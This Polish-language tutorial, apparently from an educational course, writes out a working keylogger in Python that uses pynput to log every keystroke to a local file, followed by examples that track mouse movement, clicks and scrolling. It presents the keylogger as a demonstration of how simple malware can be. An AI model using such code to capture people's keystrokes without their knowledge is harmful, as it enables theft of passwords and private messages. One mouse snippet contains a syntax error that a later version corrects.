Implementacja prostego keyloggera

Do implementacji przykładowego keyloggera wykorzystamy zewnętrzną bibliotekę pynputbiblioteka pynputpynput. Za jej pomocą w prosty sposób można sterować działaniami wykonywanymi przez urządzenia wejściowe takie jak klawiatura i mysz. Instalacja biblioteki odbywa się za sprawą następującego polecenia:

pip install pynput

Biblioteka ta zawiera osobne moduły do wykrywania działań wykonywanych na klawiaturze i myszy, które możemy zaimportować, używając poniższych formuł:

# Zawiera klasy do kontorolowania i monitorowania klawiatury
from pynput import keyboard

# Zawiera klasy do kontorolowania i monitorowania myszy
from pynput import mouse

Wykorzystajmy tę bibliotekę do wykrywania naciśnięcia klawiszy na klawiaturze. Aby zapisać przechwycone informacje, użyjemy wewnętrznego modułu logging. Kod keyloggera wgląda następująco:

# Najpierw importujemy potrzebne moduły dotyczące monitorowania klawiatury użytkownika
from pynput.keyboard import Listener
import logging

# Następnie ustawiamy ścieżkę do zapisu informacji
plik_zapisu = r"C:/temp/logfile.txt"

# Ustawiamy opcje zapisu za pomocą modułu logging
logging.basicConfig(
	filename = plik_zapisu, level = logging.DEBUG
)

# Definiujemy funkcję, która zostanie uruchomiona przy każdym naciśnieciu klawisza klawiatury przez użytkownika
def przechwyc(znak):
	logging.info(str(znak))

# Inicjalizujemy Listener, czyli nasłuchiwacz, który będzie śledził działania użytkownika
# w razie oczekiwanej przez nas rekacji (w tym przypadku naciśniecia dowolnego klawisza kalwiatury) 
# będzie wywoływał funkcję i zbierał dane (jakie klawisze zostały użyte)
with Listener(on_press = przechwyc) as nasluchiwacz:
	nasluchiwacz.join()

Gdy uruchomimy program, po każdym naciśnięciu klawiatury do pliku będzie zapisywana nowa linia zawierająca naciśnięty symbol.

Powyższy keylogger jest oczywiście bardzo podstawowy i najprawdopodobniej zostanie od razu wykryty przez jakikolwiek program antywirusowy. Celem powyższej implementacji jest zaprezentowanie, jak niewiele potrzeba do napisania prostego złośliwego oprogramowania.

Śledzenie i kontrola myszy przy użyciu biblioteki pynput

Zaimplementujmy teraz przykładowy moduł służący do kontroli myszy.

Rozpoczynamy od pobrania biblioteki pynput (jeśli nie zrobiliśmy tego w poprzednim przykładzie) i odpowiedniego modułu:

from pynput import mouse

Następnie tworzymy obiekt klasy Listener (nasłuchujący zdarzenia – w analizowanym przykładzie będzie to ruch myszą przez użytkownika) i aktywujemy go funkcją start():

from pynput import mouse

nasluchiwacz = mouse.Listener()
nasluchiwacz.start()

Teraz tworzymy puste wejście:

from pynput import mouse

nasluchiwacz = mouse.Listener()
nasluchiwacz.start()

end = input()

Zgodnie z dokumentacją biblioteki każde zdarzenie, które chcemy przechwycić (ruch myszy, scrollowanie, kliknięcie myszką), musi mieć w pierwszej kolejności zdefiniowaną funkcję.

Na początku zobaczmy to na przykładzie funkcji monitorującej ruch myszy, która ma dwa parametry – są to współrzędne kursora (x oraz y), które wskazują na aktualną pozycję:

def ruch(x, y):
	print("x: ",x," y: ",y)

Uzupełniamy kod o zdefiniowaną funkcję i dodajemy ją do obiektu klasy Listener, który nasłuchuje i zbiera określone w kodzie wydarzenia (w tym przypadku jest to ruch myszą) do momentu ich zaprzestania przez użytkownika.

from pynput import mouse

# Definicja funkcji śledzącej ruchy myszką wykonane przez użytkownika
def ruch(x, y):
	print("x: ",x," y: ",y)

# Nasłuchujemy, co robi użytkownik 
nasluchiwacz = mouse.Listener(
# Wywołujemy zdefiniowaną funkcję za każdym razem, kiedy zostanie wykonany ruch myszą
	on_move=ruch
)
nasluchiwacz.start()

end = input()

Za każdym razem, gdy ruszymy kursorem, powinny zostać wyświetlone współrzędne.

Kolejnym krokiem jest przygotowanie funkcji obsługującej zdarzenie kliknięcia przycisku myszy – funkcja ta ma następujące parametry:

• współrzędne kursora x i y,

• rodzaj klikniętego przycisku przycisk,

• informacja o wciśnięciu i zwolnieniu przycisku stan.

W ramach testu funkcja będzie wyświetlać wartości wszystkich parametrów.

Podobnie jak w przykładzie dotyczącym zbierania informacji o ruchu myszy, przy kliknięciu również dodajemy informacje do nasluchiwacza:

from pynput import mouse

def ruch(x, y):
	print("x: ", x, " y: ", y)

def klik(x, y, przycisk, stan):
	print(("x: ", x, " y: ", y, przycisk, stan)

nasluchiwacz = mouse.Listener(
	on_move=ruch,
	on_click=klik
)
nasluchiwacz.start()

end = input()

Ostatnim zdarzeniem, które spróbujemy monitorować, jest przewijanie rolki myszy. Funkcja dotycząca scrollowania ma poniższe parametry:

• współrzędne myszy x i y,

• kierunek przewijania dx i dy.

Parametry dx oraz dy przyjmują następujące wartości: 1 (przewijanie w górę), 0 (brak ruchu) lub -1 (przewijanie w dół).

Uwzględniając wcześniejsze przykłady, uzupełnijmy kod o funkcję śledzenia przewijania myszy przez użytkownika. Mamy tutaj dwa kroki: zdefiniowanie funkcji oraz dodanie jej do nasluchiwacza, który wywoła funkcję w momencie scrollowania przez użytkownika.

from pynput import mouse

def ruch(x, y):
	print("x: ", x, " y: ", y)

def klik(x, y, przycisk, stan):
	print("x: ", x, " y: ", y, przycisk, stan)

def przewijanie(x, y, dx, dy):
	print("x: ", x, " y: ", y, dx, dy)

nasluchiwacz = mouse.Listener(
	on_move=ruch,
	on_click=klik,
	on_scroll=przewijanie
)
nasluchiwacz.start()

end = input()

logging

Moduł ten udostępnia mechanizm pozwalający na rejestrację w dziennikach różnego rodzaju informacji, które następnie mogą być dowolnie filtrowane i przetwarzane.

Słownik